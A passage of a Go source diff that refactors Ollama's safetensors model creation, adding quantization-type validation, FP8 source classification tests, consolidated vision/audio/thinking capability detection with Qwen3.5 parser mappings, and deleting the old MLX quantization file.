"F8_E4M3"}, + wantKind: SourcePrequantized, + }, + { + name: "block-fp8 auto-converts to mxfp8", + cfg: fp8BlockConfig(128, 128), + tensors: map[string]string{"model.layers.0.weight": "F8_E4M3", "model.layers.0.weight_scale_inv": "F32"}, + wantKind: SourceBlockFP8, + wantQuant: "mxfp8", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := Classify(newInventory(tt.cfg, tt.tensors), tt.requested) + if err != nil { + t.Fatalf("Classify() error = %v", err) + } + if got.Kind != tt.wantKind { + t.Errorf("Kind = %v, want %v", got.Kind, tt.wantKind) + } + if got.Quantize != tt.wantQuant { + t.Errorf("Quantize = %q, want %q", got.Quantize, tt.wantQuant) + } + }) + } +} + +func TestClassifyErrors(t *testing.T) { + tests := []struct { + name string + cfg sourceModelConfig + tensors map[string]string + requested string + wantErr string + }{ + { + name: "invalid quantize type", + tensors: map[string]string{"model.layers.0.weight": "BF16"}, + requested: "int3", + wantErr: "unsupported quantize type", + }, + { + name: "mlx prequantized rejects requantize", + tensors: map[string]string{"model.layers.0.weight": "U32", "model.layers.0.scales": "BF16"}, + requested: "int4", + wantErr: "cannot requantize", + }, + { + name: "modelopt nvfp4 rejects requantize", + tensors: map[string]string{"model.layers.0.weight": "U8", "model.layers.0.weight_scale": "F8_E4M3"}, + requested: "nvfp4", + wantErr: "cannot requantize", + }, + { + name: "block-fp8 rejects quantize flag", + cfg: fp8BlockConfig(128, 128), + tensors: map[string]string{"model.layers.0.weight": "F8_E4M3", "model.layers.0.weight_scale_inv": "F32"}, + requested: "nvfp4", + wantErr: "cannot quantize an fp8 source", + }, + { + name: "block-fp8 missing block size", + tensors: map[string]string{"model.layers.0.weight": "F8_E4M3", "model.layers.0.weight_scale_inv": "F32"}, + wantErr: "missing weight_block_size", + }, + { + name: "block-fp8 unsupported block size", + cfg: fp8BlockConfig(64, 64), + tensors: map[string]string{"model.layers.0.weight": "F8_E4M3", "model.layers.0.weight_scale_inv": "F32"}, + wantErr: "unsupported fp8 source block size", + }, + { + name: "e5m2 fp8 unsupported", + tensors: map[string]string{"model.layers.0.weight": "F8_E5M2"}, + wantErr: "F8_E5M2", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + _, err := Classify(newInventory(tt.cfg, tt.tensors), tt.requested) + if err == nil || !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("Classify() error = %v, want substring %q", err, tt.wantErr) + } + }) + } +} diff --git a/x/create/client/create.go b/x/create/client/create.go index 01a6b4d1d..b25ceb952 100644 --- a/x/create/client/create.go +++ b/x/create/client/create.go @@ -26,7 +26,7 @@ import ( "github.com/ollama/ollama/types/model" "github.com/ollama/ollama/x/create" imagemanifest "github.com/ollama/ollama/x/imagegen/manifest" - "github.com/ollama/ollama/x/safetensors" + "github.com/ollama/ollama/x/quant" ) // MinOllamaVersion is the minimum Ollama version required for safetensors models. @@ -142,43 +142,34 @@ type CreateOptions struct { func CreateModel(opts CreateOptions, p *progress.Progress) error { // Detect model type isSafetensors := create.IsSafetensorsModelDir(opts.ModelDir) - isImageGen := create.IsTensorModelDir(opts.ModelDir) hasDraft := opts.Modelfile != nil && opts.Modelfile.Draft != "" isBaseModelWithDraft := hasDraft && !isSafetensors && create.IsSafetensorsLLMModel(opts.ModelDir) if opts.DraftQuantize != "" && !hasDraft { return fmt.Errorf("--draft-quantize requires a DRAFT model") } + if opts.Quantize != "" && quant.Canonical(opts.Quantize) == "" { + return fmt.Errorf("unsupported --quantize %q: supported types are int4, int8, nvfp4, mxfp4, mxfp8", opts.Quantize) + } + if opts.DraftQuantize != "" && quant.Canonical(opts.DraftQuantize) == "" { + return fmt.Errorf("unsupported --draft-quantize %q: supported types are int4, int8, nvfp4, mxfp4, mxfp8", opts.DraftQuantize) + } - if !isSafetensors && !isImageGen && !isBaseModelWithDraft { - return fmt.Errorf("%s is not a supported model directory (needs config.json + *.safetensors or model_index.json)", opts.ModelDir) + if !isSafetensors && !isBaseModelWithDraft { + return fmt.Errorf("%s is not a supported safetensors model directory (needs config.json + *.safetensors)", opts.ModelDir) } if hasDraft && !create.IsSafetensorsModelDir(opts.Modelfile.Draft) { return fmt.Errorf("draft %s is not a supported safetensors model directory", opts.Modelfile.Draft) } - if hasDraft && isImageGen { - return fmt.Errorf("draft models are only supported for safetensors LLM models") - } - // Determine model type settings - var modelType, spinnerKey string + modelType := "safetensors model" + spinnerKey := "create" var capabilities []string var parserName, rendererName string if isSafetensors { - modelType = "safetensors model" - spinnerKey = "create" - - // Set parser and renderer name based on architecture parserName = getParserName(opts.ModelDir) rendererName = getRendererName(opts.ModelDir) capabilities = inferSafetensorsCapabilities(opts.ModelDir, resolveParserName(opts.Modelfile, parserName)) - } else if isBaseModelWithDraft { - modelType = "safetensors model" - spinnerKey = "create" - } else { - modelType = "image generation model" - spinnerKey = "imagegen" - capabilities = []string{"image"} } // Set up progress spinner @@ -196,13 +187,12 @@ func CreateModel(opts CreateOptions, p *progress.Progress) error { var draftLayers []create.LayerInfo var err error if hasDraft { - draftLayers, err = create.CreateDraftSafetensorsLayers( + draftLayers, err = create.CreateDraftLayers( opts.Modelfile.Draft, "draft.", - "draft", + "draft/", opts.DraftQuantize, - newLayerCreator(), - newTensorLayerCreator(), + create.StoreFromLayerCreator(newLayerCreator()), progressFn, ) if err != nil { @@ -221,27 +211,18 @@ func CreateModel(opts CreateOptions, p *progress.Progress) error { return nil } - // Create the model using shared callbacks - if isSafetensors { - writer := newManifestWriter(opts, capabilities, parserName, rendererName) - if len(draftLayers) > 0 { - writer = appendLayersManifestWriter(writer, draftLayers) - } - err = create.CreateSafetensorsModel( - opts.ModelName, opts.ModelDir, opts.Quantize, - newLayerCreator(), newTensorLayerCreator(), - writer, - progressFn, - newPackedTensorLayerCreator(), - ) - } else { - err = create.CreateImageGenModel( - opts.ModelName, opts.ModelDir, opts.Quantize, - newLayerCreator(), newTensorLayerCreator(), - newManifestWriter(opts, capabilities, "", ""), - progressFn, - ) + // Create the model through the x/create pipeline (read → classify → plan + // → write), supplying blob storage and manifest assembly. + writer := newManifestWriter(opts, capabilities, parserName, rendererName) + if len(draftLayers) > 0 { + writer = appendLayersManifestWriter(writer, draftLayers) } + err = create.Create( + opts.ModelName, opts.ModelDir, opts.Quantize, + create.StoreFromLayerCreator(newLayerCreator()), + writer, + progressFn, + ) spinner.Stop() if err != nil { @@ -351,12 +332,12 @@ func readConfigV2(m *imagemanifest.ModelManifest) (*model.ConfigV2, error) { func inferSafetensorsCapabilities(modelDir, parserName string) []string { capabilities := []string{"completion"} - // Qwen3.5 multimodal checkpoints use ConditionalGeneration architectures. - if supportsVision(modelDir) { + caps := detectCapabilities(modelDir) + if caps.vision { capabilities = append(capabilities, "vision") } - if supportsAudio(modelDir) { + if caps.audio { capabilities = append(capabilities, "audio") } @@ -369,7 +350,7 @@ func inferSafetensorsCapabilities(modelDir, parserName string) []string { capabilities = append(capabilities, "tools") } - if supportsThinking(modelDir) || (builtinParser != nil && builtinParser.HasThinkingSupport()) { + if caps.thinking || (builtinParser != nil && builtinParser.HasThinkingSupport()) { capabilities = append(capabilities, "thinking") } @@ -393,115 +374,6 @@ func newLayerCreator() create.LayerCreator { } } -// newTensorLayerCreator returns a QuantizingTensorLayerCreator callback for creating tensor layers. -// When quantize is non-empty, returns multiple layers (weight + scales + optional qbias). -func newTensorLayerCreator() create.QuantizingTensorLayerCreator { - return func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]create.LayerInfo, error) { - if quantize != "" { - return createQuantizedLayers(r, name, dtype, shape, quantize) - } - return createUnquantizedLayer(r, name) - } -} - -// createQuantizedLayers quantizes a tensor and returns a single combined layer. -// The combined blob contains data, scale, and optional bias tensors with metadata. -func createQuantizedLayers(r io.Reader, name, dtype string, shape []int32, quantize string) ([]create.LayerInfo, error) { - if !QuantizeSupported() { - return nil, fmt.Errorf("quantization requires MLX support") - } - - // Quantize the tensor into a single combined blob - blobData, err := quantizeTensor(r, name, dtype, shape, quantize) - if err != nil { - return nil, fmt.Errorf("failed to quantize %s: %w", name, err) - } - - // Create single layer for the combined blob - layer, err := manifest.NewLayer(bytes.NewReader(blobData), manifest.MediaTypeImageTensor) - if err != nil { - return nil, err - } - - return []create.LayerInfo{ - { - Digest: layer.Digest, - Size: layer.Size, - MediaType: layer.MediaType, - Name: name, - }, - }, nil -} - -// createUnquantizedLayer creates a single tensor layer without quantization. -func createUnquantizedLayer(r io.Reader, name string) ([]create.LayerInfo, error) { - layer, err := manifest.NewLayer(r, manifest.MediaTypeImageTensor) - if err != nil { - return nil, err - } - - return []create.LayerInfo{ - { - Digest: layer.Digest, - Size: layer.Size, - MediaType: layer.MediaType, - Name: name, - }, - }, nil -} - -// newPackedTensorLayerCreator returns a PackedTensorLayerCreator callback for -// creating packed multi-tensor blob layers (used for expert groups). -func newPackedTensorLayerCreator() create.PackedTensorLayerCreator { - return func(groupName string, tensors []create.PackedTensorInput) (create.LayerInfo, error) { - // Check if any tensor in the group needs quantization - hasQuantize := false - for _, t := range tensors { - if t.Quantize != "" { - hasQuantize = true - break - } - } - - var blobReader io.Reader - if hasQuantize { - if !QuantizeSupported() { - return create.LayerInfo{}, fmt.Errorf("quantization requires MLX support") - } - blobData, err := quantizePackedGroup(groupName, tensors) - if err != nil { - return create.LayerInfo{}, fmt.Errorf("failed to quantize packed group %s: %w", groupName, err) - } - blobReader = bytes.NewReader(blobData) - } else { - // Build unquantized packed blob using streaming reader - // Extract raw tensor data from safetensors-wrapped readers - var tds []*safetensors.TensorData - for _, t := range tensors { - rawData, err := safetensors.ExtractRawFromSafetensors(t.Reader) - if err != nil { - return create.LayerInfo{}, fmt.Errorf("failed to extract tensor %s: %w", t.Name, err) - } - td := safetensors.NewTensorDataFromBytes(t.Name, t.Dtype, t.Shape, rawData) - tds = append(tds, td) - } - blobReader = safetensors.BuildPackedSafetensorsReader(tds) - } - - layer, err := manifest.NewLayer(blobReader, manifest.MediaTypeImageTensor) - if err != nil { - return create.LayerInfo{}, err - } - - return create.LayerInfo{ - Digest: layer.Digest, - Size: layer.Size, - MediaType: layer.MediaType, - Name: groupName, - }, nil - } -} - // newManifestWriter returns a ManifestWriter callback for writing the model manifest. func newManifestWriter(opts CreateOptions, capabilities []string, parserName, rendererName string) create.ManifestWriter { return func(modelName string, config create.LayerInfo, layers []create.LayerInfo) error { @@ -641,85 +513,84 @@ func createModelfileLayers(mf *ModelfileConfig) ([]manifest.Layer, error) { return layers, nil } -// supportsThinking checks if the model supports thinking mode based on known -// architectures that do not expose a cleaner signal in their local metadata. -func supportsThinking(modelDir string) bool { - configPath := filepath.Join(modelDir, "config.json") - data, err := os.ReadFile(configPath) - if err != nil { - return false - } +// modelCapabilities holds the input-modality and reasoning capabilities a model +// advertises, inferred from its source metadata. +type modelCapabilities struct { + vision bool + audio bool + thinking bool +} +// detectCapabilities reads the model directory once and reports the vision, +// audio, and thinking capabilities it can infer. +func detectCapabilities(modelDir string) modelCapabilities { var cfg struct { - Architectures []string `json:"architectures"` - ModelType string `json:"model_type"` + Architectures []string `json:"architectures"` + ModelType string `json:"model_type"` + VisionConfig *map[string]any `json:"vision_config"` + AudioConfig *map[string]any `json:"audio_config"` } - if err := json.Unmarshal(data, &cfg); err != nil { - return false + if data, err := os.ReadFile(filepath.Join(modelDir, "config.json")); err == nil { + _ = json.Unmarshal(data, &cfg) } - // Check architectures that support thinking - thinkingArchitectures := []string{ - "glm4moe", // GLM-4 MoE models - "deepseek", // DeepSeek models - "qwen3", // Qwen3 models + return modelCapabilities{ + vision: cfg.VisionConfig != nil, + audio: cfg.AudioConfig != nil, + thinking: chatTemplateHasThinkingSupport(readChatTemplate(modelDir)) || + alwaysSupportsThinking(cfg.Architectures, cfg.ModelType), } +} - // Check the architecture list - for _, arch := range cfg.Architectures { - archLower := strings.ToLower(arch) - for _, thinkArch := range thinkingArchitectures { - if strings.Contains(archLower, thinkArch) { - return true - } +// readChatTemplate returns the model's chat template, preferring the +// chat_template field of tokenizer_config.json and falling back to a standalone +// chat_template.jinja. It returns "" when neither is present. +func readChatTemplate(modelDir string) string { + if data, err := os.ReadFile(filepath.Join(modelDir, "tokenizer_config.json")); err == nil { + var cfg struct { + ChatTemplate string `json:"chat_template"` + } + if json.Unmarshal(data, &cfg) == nil && cfg.ChatTemplate != "" { + return cfg.ChatTemplate } } + if data, err := os.ReadFile(filepath.Join(modelDir, "chat_template.jinja")); err == nil { + return string(data) + } + return "" +} - // Also check model_type - if cfg.ModelType != "" { - typeLower := strings.ToLower(cfg.ModelType) - for _, thinkArch := range thinkingArchitectures { - if strings.Contains(typeLower, thinkArch) { - return true - } - } +// chatTemplateHasThinkingSupport reports whether a chat template emits thinking +// blocks. Copied from server.chatTemplateHasThinkingSupport so this package need +// not depend on the server package for an eight-line string check. +func chatTemplateHasThinkingSupport(chatTemplate string) bool { + if strings.Contains(chatTemplate, "") && strings.Contains(chatTemplate, "") { + return true } + // Some Qwen/DeepSeek templates strip prior reasoning by splitting assistant + // content at ; llama.cpp can still extract reasoning from them. + return (strings.Contains(chatTemplate, "content.split('')") || + strings.Contains(chatTemplate, `content.split("")`)) && + !strings.Contains(chatTemplate, "reasoning_content") && + !strings.Contains(chatTemplate, "") +} + +func alwaysSupportsThinking(architectures []string, modelType string) bool { + if isQwen35Family(modelType) { + return true + } + for _, arch := range architectures { + if isQwen35Family(arch) { + return true + } + } return false } -// supportsVision checks if the model has a vision encoder by looking for -// vision_config in config.json. -func supportsVision(modelDir string) bool { - data, err := os.ReadFile(filepath.Join(modelDir, "config.json")) - if err != nil { - return false - } - - var cfg struct { - VisionConfig *map[string]any `json:"vision_config"` - } - if err := json.Unmarshal(data, &cfg); err != nil { - return false - } - - return cfg.VisionConfig != nil -} - -func supportsAudio(modelDir string) bool { - data, err := os.ReadFile(filepath.Join(modelDir, "config.json")) - if err != nil { - return false - } - - var cfg struct { - AudioConfig *map[string]any `json:"audio_config"` - } - if err := json.Unmarshal(data, &cfg); err != nil { - return false - } - - return cfg.AudioConfig != nil +func isQwen35Family(s string) bool { + s = strings.ToLower(s) + return strings.Contains(s, "qwen3_5") || strings.Contains(s, "qwen3next") } // getParserName returns the parser name for a model based on its architecture. @@ -757,6 +628,9 @@ func getParserName(modelDir string) string { if strings.Contains(archLower, "gemma4") { return "gemma4" } + if isQwen35Family(archLower) { + return "qwen3.5" + } if strings.Contains(archLower, "qwen3") { return "qwen3" } @@ -780,6 +654,9 @@ func getParserName(modelDir string) string { if strings.Contains(typeLower, "gemma4") { return "gemma4" } + if isQwen35Family(typeLower) { + return "qwen3.5" + } if strings.Contains(typeLower, "qwen3") { return "qwen3" } @@ -823,6 +700,9 @@ func getRendererName(modelDir string) string { if strings.Contains(archLower, "deepseek") { return "deepseek3" } + if isQwen35Family(archLower) { + return "qwen3.5" + } if strings.Contains(archLower, "qwen3") { return "qwen3-coder" } @@ -846,6 +726,9 @@ func getRendererName(modelDir string) string { if strings.Contains(typeLower, "deepseek") { return "deepseek3" } + if isQwen35Family(typeLower) { + return "qwen3.5" + } if strings.Contains(typeLower, "qwen3") { return "qwen3-coder" } diff --git a/x/create/client/create_test.go b/x/create/client/create_test.go index e1a9fd2f1..e86ec6a80 100644 --- a/x/create/client/create_test.go +++ b/x/create/client/create_test.go @@ -423,84 +423,6 @@ func TestInferSafetensorsCapabilities(t *testing.T) { } } -func TestParsePerExpertInputs(t *testing.T) { - makeInput := func(name, quantize string) create.PackedTensorInput { - return create.PackedTensorInput{Name: name, Quantize: quantize} - } - - t.Run("uniform quant across projections", func(t *testing.T) { - inputs := []create.PackedTensorInput{ - makeInput("layer.moe.experts.0.gate_proj.weight", "int4"), - makeInput("layer.moe.experts.1.gate_proj.weight", "int4"), - makeInput("layer.moe.experts.0.down_proj.weight", "int4"), - makeInput("layer.moe.experts.1.down_proj.weight", "int4"), - } - groups, projQ := parsePerExpertInputs("layer.moe.experts", inputs) - if groups == nil { - t.Fatal("expected non-nil groups") - } - if len(groups) != 2 { - t.Fatalf("expected 2 projection groups, got %d", len(groups)) - } - if projQ["gate_proj.weight"] != "int4" { - t.Errorf("gate_proj quant = %q, want int4", projQ["gate_proj.weight"]) - } - if projQ["down_proj.weight"] != "int4" { - t.Errorf("down_proj quant = %q, want int4", projQ["down_proj.weight"]) - } - }) - - t.Run("mixed quant across projections", func(t *testing.T) { - inputs := []create.PackedTensorInput{ - makeInput("layer.moe.experts.0.gate_proj.weight", "int4"), - makeInput("layer.moe.experts.1.gate_proj.weight", "int4"), - makeInput("layer.moe.experts.0.down_proj.weight", "int8"), - makeInput("layer.moe.experts.1.down_proj.weight", "int8"), - } - groups, projQ := parsePerExpertInputs("layer.moe.experts", inputs) - if groups == nil { - t.Fatal("expected non-nil groups for mixed cross-projection quant") - } - if projQ["gate_proj.weight"] != "int4" { - t.Errorf("gate_proj quant = %q, want int4", projQ["gate_proj.weight"]) - } - if projQ["down_proj.weight"] != "int8" { - t.Errorf("down_proj quant = %q, want int8", projQ["down_proj.weight"]) - } - }) - - t.Run("mixed quant within same projection rejected", func(t *testing.T) { - inputs := []create.PackedTensorInput{ - makeInput("layer.moe.experts.0.down_proj.weight", "int4"), - makeInput("layer.moe.experts.1.down_proj.weight", "int8"), - } - groups, _ := parsePerExpertInputs("layer.moe.experts", inputs) - if groups != nil { - t.Fatal("expected nil for mixed quant within same projection") - } - }) - - t.Run("non-experts group rejected", func(t *testing.T) { - inputs := []create.PackedTensorInput{ - makeInput("layer.mlp.gate_proj.weight", "int4"), - } - groups, _ := parsePerExpertInputs("layer.mlp", inputs) - if groups != nil { - t.Fatal("expected nil for non-experts group") - } - }) -} - -func TestQuantizeSupported(t *testing.T) { - // This just verifies the function exists and returns a boolean - // The actual value depends on build tags (mlx vs non-mlx) - supported := QuantizeSupported() - - // In non-mlx builds, this should be false - // We can't easily test both cases, so just verify it returns something - _ = supported -} - func TestCreateModelfileLayersIncludesParameters(t *testing.T) { t.Setenv("OLLAMA_MODELS", t.TempDir()) @@ -632,77 +554,91 @@ func TestNewManifestWriter_PopulatesDraftMetadata(t *testing.T) { } } -func TestSupportsThinking(t *testing.T) { +func TestDetectCapabilities(t *testing.T) { + const thinkingTemplate = `{"chat_template": "{%- if '' in content %}{{ content.split('')[-1] }}{%- endif %}\n"}` + const instructTemplate = `{"chat_template": "{{ '<|im_start|>assistant\n' }}"}` + tests := []struct { - name string - configJSON string - want bool + name string + configJSON string + tokenizerJSON string + want modelCapabilities }{ { - name: "qwen3 architecture", + name: "thinking from chat template", + configJSON: `{"architectures": ["Qwen3ForCausalLM"], "model_type": "qwen3"}`, + tokenizerJSON: thinkingTemplate, + want: modelCapabilities{thinking: true}, + }, + { + name: "instruct template has no thinking", + configJSON: `{"architectures": ["Qwen3ForCausalLM"], "model_type": "qwen3"}`, + tokenizerJSON: instructTemplate, + want: modelCapabilities{thinking: false}, + }, + { + name: "plain qwen3 without template has no thinking", configJSON: `{"architectures": ["Qwen3ForCausalLM"], "model_type": "qwen3"}`, - want: true, + want: modelCapabilities{thinking: false}, }, { - name: "deepseek architecture", - configJSON: `{"architectures": ["DeepseekV3ForCausalLM"]}`, - want: true, + name: "qwen3.5 moe always thinks without a thinking template", + configJSON: `{"architectures": ["Qwen3_5MoeForConditionalGeneration"], "model_type": "qwen3_5_moe"}`, + tokenizerJSON: instructTemplate, + want: modelCapabilities{thinking: true}, }, { - name: "glm4moe architecture", - configJSON: `{"architectures": ["GLM4MoeForCausalLM"]}`, - want: true, + name: "qwen3-next always thinks", + configJSON: `{"architectures": ["Qwen3NextForCausalLM"]}`, + want: modelCapabilities{thinking: true}, }, { - name: "llama architecture (no thinking)", + name: "vision config", + configJSON: `{"architectures": ["Gemma4ForConditionalGeneration"], "vision_config": {}}`, + want: modelCapabilities{vision: true}, + }, + { + name: "audio config", + configJSON: `{"architectures": ["Qwen3OmniForConditionalGeneration"], "audio_config": {}}`, + want: modelCapabilities{audio: true}, + }, + { + name: "llama has no extra capabilities", configJSON: `{"architectures": ["LlamaForCausalLM"], "model_type": "llama"}`, - want: false, + want: modelCapabilities{}, }, { - name: "gemma architecture (no thinking)", - configJSON: `{"architectures": ["Gemma3ForCausalLM"], "model_type": "gemma3"}`, - want: false, - }, - { - name: "model_type only", - configJSON: `{"model_type": "deepseek"}`, - want: true, - }, - { - name: "laguna architecture without template", - configJSON: `{"architectures": ["LagunaForCausalLM"], "model_type": "laguna"}`, - want: false, - }, - { - name: "empty config", - configJSON: `{}`, - want: false, - }, - { - name: "invalid json", + name: "invalid config json", configJSON: `not json`, - want: false, + want: modelCapabilities{}, + }, + { + name: "missing files", + want: modelCapabilities{}, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { dir := t.TempDir() - os.WriteFile(filepath.Join(dir, "config.json"), []byte(tt.configJSON), 0o644) + if tt.configJSON != "" { + if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(tt.configJSON), 0o644); err != nil { + t.Fatal(err) + } + } + if tt.tokenizerJSON != "" { + if err := os.WriteFile(filepath.Join(dir, "tokenizer_config.json"), []byte(tt.tokenizerJSON), 0o644); err != nil { + t.Fatal(err) + } + } - if got := supportsThinking(dir); got != tt.want { - t.Errorf("supportsThinking() = %v, want %v", got, tt.want) + if got := detectCapabilities(dir); got != tt.want { + t.Errorf("detectCapabilities() = %+v, want %+v", got, tt.want) } }) } } -func TestSupportsThinking_NoConfig(t *testing.T) { - if supportsThinking(t.TempDir()) { - t.Error("supportsThinking should return false for missing config.json") - } -} - func TestInferSafetensorsCapabilitiesFromParser(t *testing.T) { tests := []struct { name string @@ -763,6 +699,11 @@ func TestGetParserName(t *testing.T) { configJSON: `{"architectures": ["Qwen3ForCausalLM"]}`, want: "qwen3", }, + { + name: "qwen3.5 model", + configJSON: `{"architectures": ["Qwen3_5ForConditionalGeneration"]}`, + want: "qwen3.5", + }, { name: "deepseek model", configJSON: `{"architectures": ["DeepseekV3ForCausalLM"]}`, @@ -818,6 +759,11 @@ func TestGetRendererName(t *testing.T) { configJSON: `{"architectures": ["Qwen3ForCausalLM"]}`, want: "qwen3-coder", }, + { + name: "qwen3.5 model", + configJSON: `{"architectures": ["Qwen3_5ForConditionalGeneration"]}`, + want: "qwen3.5", + }, { name: "deepseek model", configJSON: `{"architectures": ["DeepseekV3ForCausalLM"]}`, diff --git a/x/create/client/quantize.go b/x/create/client/quantize.go deleted file mode 100644 index 0836e8412..000000000 --- a/x/create/client/quantize.go +++ /dev/null @@ -1,610 +0,0 @@ -package client - -import ( - "encoding/binary" - "encoding/json" - "fmt" - "io" - "os" - "path/filepath" - "regexp" - "sort" - "strconv" - "strings" - - "github.com/ollama/ollama/x/create" - "github.com/ollama/ollama/x/mlxrunner/mlx" - "github.com/ollama/ollama/x/mlxrunner/model" -) - -// loadAndQuantizeArray writes a safetensors reader to a temp file, loads it with MLX, -// quantizes the tensor, and appends the resulting arrays (weight, scale, optional bias) -// to the provided maps. If quantize is empty, the tensor is kept as-is. -// Returns any temp file paths created (caller must clean up) and arrays needing eval. -func loadAndQuantizeArray(r io.Reader, name, quantize string, arrays map[string]*mlx.Array) (tmpPath string, toEval []*mlx.Array, nativeHandle *mlx.SafetensorsFile, err error) { - if quantize != "" { - if gs, _, _ := model.QuantizationParams(quantize); gs == 0 { - return "", nil, nil, fmt.Errorf("unsupported quantization type: %s", quantize) - } - } - - tmpDir := ensureTempDir() - - tmpFile, err := os.CreateTemp(tmpDir, "quant-*.safetensors") - if err != nil { - return "", nil, nil, fmt.Errorf("failed to create temp file: %w", err) - } - tmpPath = tmpFile.Name() - - if _, err := io.Copy(tmpFile, r); err != nil { - tmpFile.Close() - return tmpPath, nil, nil, fmt.Errorf("failed to write temp file for %s: %w", name, err) - } - tmpFile.Close() - - st, err := mlx.LoadSafetensorsNative(tmpPath) - if err != nil { - return tmpPath, nil, nil, fmt.Errorf("failed to load safetensors for %s: %w", name, err) - } - - // Find the tensor key (may differ from name for single-tensor blobs) - header, err := readSafetensorsHeader(tmpPath) - if err != nil { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("failed to read blob header for %s: %w", name, err) - } - inputKey, err := safetensorsKey(name, header) - if err != nil { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("failed to resolve tensor key for %s: %w", name, err) - } - - arr := st.Get(inputKey) - if arr == nil { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("tensor %q not found in safetensors", inputKey) - } - - // Decode FP8 source encoding before checking quantize, so that callers - // requesting decode-only (quantize="") receive usable float data. - if info, ok := header[inputKey]; ok && info.Dtype == "F8_E4M3" { - scaleKey := inputKey + ".scale_inv" - scaleInv := st.Get(scaleKey) - if scaleInv == nil { - scaleKey = inputKey + ".scale" - scaleInv = st.Get(scaleKey) - } - if scaleInv == nil { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("missing companion tensor %q or %q for fp8 source tensor %q", inputKey+".scale_inv", inputKey+".scale", inputKey) - } - arr, err = decodeSourceFP8Tensor(arr, scaleInv) - if err != nil { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("failed to decode fp8 tensor %s: %w", inputKey, err) - } - mlx.Eval(arr) - } - - if quantize == "" { - arr = mlx.Contiguous(arr, false) - arrays[name] = arr - return tmpPath, []*mlx.Array{arr}, st, nil - } - - if arr.DType() != mlx.DTypeBFloat16 && arr.DType() != mlx.DTypeFloat32 && arr.DType() != mlx.DTypeFloat16 { - // Convert to float type if needed (quantize expects float) - arr = arr.AsType(mlx.DTypeBFloat16) - mlx.Eval(arr) - } - - groupSize, bits, mode := model.QuantizationParams(quantize) - qweight, scales, qbiases := mlx.Quantize(arr, groupSize, bits, mode) - - // Validate quantization produced non-empty output. MLX quantize may return - // empty arrays for unsupported mode/bits combinations without raising an error. - mlx.Eval(qweight, scales) - if len(qweight.Dims()) == 0 || qweight.Dims()[0] == 0 { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("mlx.Quantize produced empty weight for %s (quantize=%s, groupSize=%d, bits=%d, mode=%s)", - name, quantize, groupSize, bits, mode) - } - if len(scales.Dims()) == 0 || scales.Dims()[0] == 0 { - st.Free() - return tmpPath, nil, nil, fmt.Errorf("mlx.Quantize produced empty scales for %s (quantize=%s, groupSize=%d, bits=%d, mode=%s)", - name, quantize, groupSize, bits, mode) - } - - qweight = mlx.Contiguous(qweight, false) - scales = mlx.Contiguous(scales, false) - arrays[name] = qweight - arrays[name+".scale"] = scales - toEval = append(toEval, qweight, scales) - - if qbiases != nil { - qbiases = mlx.Contiguous(qbiases, false) - arrays[name+".bias"] = qbiases - toEval = append(toEval, qbiases) - } - - return tmpPath, toEval, st, nil -} - -// quantizeTensor loads a tensor from safetensors format, quantizes it, -// and returns a single combined safetensors blob with the quantized weight, scale, and optional bias. -// Tensor keys use the original tensor name: name, name.scale, name.bias. -// The blob includes __metadata__ with quant_type and group_size. -// Supported quantization types: "int4", "nvfp4", "mxfp4", "int8", "mxfp8". -func quantizeTensor(r io.Reader, tensorName, dtype string, shape []int32, quantize string) (blobData []byte, err error) { - arrays := make(map[string]*mlx.Array) - tmpPath, toEval, st, err := loadAndQuantizeArray(r, tensorName, quantize, arrays) - if tmpPath != "" { - defer os.Remove(tmpPath) - } - if err != nil { - return nil, err - } - - finalArrays := make([]*mlx.Array, 0, len(arrays)) - for _, arr := range arrays { - if arr != nil { - finalArrays = append(finalArrays, arr) - } - } - mlx.Pin(finalArrays...) - defer func() { - if st != nil { - st.Free() - } - mlx.Unpin(finalArrays...) - mlx.Sweep() - }() - - mlx.Eval(toEval...) - mlx.Sweep() - // Free early to release mmap; defer guard handles error paths - if st != nil { - st.Free() - st = nil - } - - // Build metadata for single-tensor blobs - groupSize, _, _ := model.QuantizationParams(quantize) - metadata := map[string]string{ - "quant_type": quantize, - "group_size": strconv.Itoa(groupSize), - } - - tmpDir := ensureTempDir() - outPath := filepath.Join(tmpDir, "combined.safetensors") - defer os.Remove(outPath) - if err := mlx.SaveSafetensorsWithMetadata(outPath, arrays, metadata); err != nil { - return nil, fmt.Errorf("failed to save combined blob: %w", err) - } - return os.ReadFile(outPath) -} - -// quantizePackedGroup quantizes multiple tensors and saves them all into a single -// combined safetensors blob. Used for packing expert groups. -// When the inputs are per-expert 2D tensors (e.g., experts.0.gate_proj.weight), -// they are stacked into 3D switch_mlp tensors before quantization. -// Each tensor may have a different quantization type (mixed-precision). -// Returns the blob bytes. -func quantizePackedGroup(groupName string, inputs []create.PackedTensorInput) ([]byte, error) { - // Check if inputs are per-expert tensors that should be stacked into 3D - if projGroups, projQuantize := parsePerExpertInputs(groupName, inputs); projGroups != nil { - return stackAndQuantizeExpertGroup(groupName, projGroups, projQuantize) - } - - allArrays := make(map[string]*mlx.Array) - var pinned []*mlx.Array - - var metadata map[string]string - uniformQuantize := "" - hasQuantized := false - mixedQuantize := false - for _, input := range inputs { - if input.Quantize == "" { - if hasQuantized { - mixedQuantize = true - } - continue - } - if !hasQuantized { - hasQuantized = true - uniformQuantize = input.Quantize - continue - } - if input.Quantize != uniformQuantize { - mixedQuantize = true - } - } - if hasQuantized && !mixedQuantize { - if groupSize, _, _ := model.QuantizationParams(uniformQuantize); groupSize > 0 { - metadata = map[string]string{ - "quant_type": uniformQuantize, - "group_size": strconv.Itoa(groupSize), - } - } - } - - for _, input := range inputs { - tmpPath, toEval, st, err := loadAndQuantizeArray(input.Reader, input.Name, input.Quantize, allArrays) - if err != nil { - mlx.Unpin(pinned...) - mlx.Sweep() - return nil, err - } - - mlx.Eval(toEval...) - - finalArrays := arraysForPackedInput(allArrays, input) - mlx.Pin(finalArrays...) - pinned = append(pinned, finalArrays...) - - // Record per-tensor quant type so the model can resolve params at load time. - if input.Quantize 